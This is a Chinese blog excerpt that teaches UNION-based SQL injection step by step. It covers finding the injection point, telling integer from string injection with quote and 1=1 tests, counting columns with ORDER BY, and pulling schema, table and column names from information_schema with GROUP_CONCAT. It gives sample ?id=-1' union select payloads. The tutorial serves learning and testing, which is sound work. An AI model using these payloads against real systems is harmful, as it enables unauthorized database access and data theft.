博客摘录「sql联合查询注入」

联合查询注入的过程

1、判断注入点

2、判断是整型还是字符型

3、判断查询列数

4、获取数据库名

5、获取数据库中的表名

6、获取字段名

7、获取字段中的数据

  1. 注入点
    sql联合查询的注入点都比较明显, 必须是页面上的显示位(页面中展示数据库中数据的位置),否则无法注入,如id,name等等。

  2. 判断整形还是字符型
    (1)尝试使用加单引号或双引号
    显示数据库错误信息或者页面回显不同可以判断是整形注入和字符型注入.整型注入没有变化,而字符型注入则回显不同
    (2)*输入’ and 1=1和 ’ and 1=2 *
    发现页面变化,判断为字符注入

  3. 查询列数
    使用order by函数 对MySQL中查询结果按照指定字段名进行排序,order by 1.2.3…第一个查询字段为1,第二个为2,依次类推。

  4. 获取数据库名
    使用 group_concat()将所有的表名联系在一起
    select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
    例如?id=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)'

  5. 获取数据库中的表名
    在这里使用group_concat()函数加一个数据表名table_name,然后指定一个来源得到库中的表名
    例如select group_concat(table_name) from information_schema.tables where table_schema = '数据库名'

  6. 获取字段名
    知道表名,直接利用sql语句就可以得到所有的字段名
    例如 select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='表名'

  7. 获取字段中的数据
    例如id=-1' union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = '字段')————————————————

  8. 版权声明:本文为CSDN博主「暮秋.十七」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

  9. 原文链接:https://blog.csdn.net/m0_65977612/article/details/127929030

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值